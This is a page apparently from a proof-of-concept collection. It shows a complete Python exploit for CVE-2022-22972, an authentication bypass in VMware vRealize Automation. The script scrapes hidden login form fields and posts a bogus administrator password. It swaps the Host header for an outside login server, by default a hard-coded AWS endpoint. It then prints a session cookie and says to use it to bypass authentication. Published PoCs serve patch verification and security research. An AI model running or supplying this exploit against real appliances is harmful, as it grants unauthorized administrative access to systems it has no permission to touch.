4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-22972.py PY
import argparse
import requests
import urllib3
import sys

from bs4 import BeautifulSoup
from urllib.parse import urlparse

urllib3.disable_warnings()

# parse arguments
parser = argparse.ArgumentParser(description='POC for CVE-2022-22972')
parser.add_argument('url', type=str, help='Base url of appliance')
parser.add_argument('--username', '-u', required=False, default='administrator',
                    help='Name of local user to use for login')
parser.add_argument('--host', required=False, default='ei3wpt9100.execute-api.us-east-2.amazonaws.com',
                    help='Name of host to to use in Host header replacement. This host should have a login server running')
args = parser.parse_args()


url = args.url
if not url.endswith('/'):
    url += "/"

# Create a new session
s = requests.Session()

# Uncomment the following to proxy through BurpSuite
# s.proxies = {
#     "https": "https://127.0.0.1:8080"
# }


# Send an initial get request to get a session cookie
resp = s.get(url + "vcac", verify=False, allow_redirects=True)

# Get the url from the response in the event the user passed an ip
# address instead of a domain name
parsed_url = urlparse(resp.url)
url = parsed_url.scheme + "://" + parsed_url.netloc + "/"


# Send another get request with the original_uri parameter. This will cause
# a series of redirects ending with a login page with various hidden form fields that
# we need to extract for our final POST.
print("Extracting state from vcac redirects...")
params = {
    "original_uri": f"{url}vcac",
}
resp = s.get(
    url + "vcac/", verify=False, allow_redirects=True, params=params)

# Extract hidden forms fields
soup = BeautifulSoup(resp.text, 'html.parser')
form = soup.find('form')
if not form:
    print('Form not found for /vcac endpoint. This might be patched or you may be using this against something that isnt vRealize Automation')
    sys.exit()

data = {
    'protected_state': form.find('input', {'id': 'protected_state'}).get('value'),
    'userstore': form.find('input', {'id': 'userstore'}).get('value'),
    'username': args.username,
    'password': 'horizon',  # bogus password
    'userstoreDisplay': form.find('input', {'id': 'userstoreDisplay'}).get('value'),
    'horizonRelayState': form.find('input', {'name': 'horizonRelayState'}).get('value'),
    'stickyConnectorId': form.find('input', {'name': 'stickyConnectorId'}).get('value'),
    'action': 'Sign+in'
}

# Assemble to forms fields into the body of the POST
body = ""
for k, v in data.items():
    body += f'{k}={v}&'

# remove last &
body = body[0:len(body) - 1]


# Create the auth POST request
req = s.prepare_request(requests.Request('POST',
                        url + "SAAS/auth/login/embeddedauthbroker/callback",  data=body))

# Set the content type header. Set Host header for an endpoint that will return 200
# for requests to /SAAS/API/1.0/REST/auth/local/login
req.headers.update({
    "Content-type": "application/x-www-form-urlencoded",
    "Host": args.host
})

print("Sending POST to auth endpoint")
resp = s.send(req, verify=False, allow_redirects=False)

# Extract the cookies
print()
print(f"HZN={s.cookies.get('HZN')}")
print()
print("Set the HZN cookie in your browser to bypass authentication")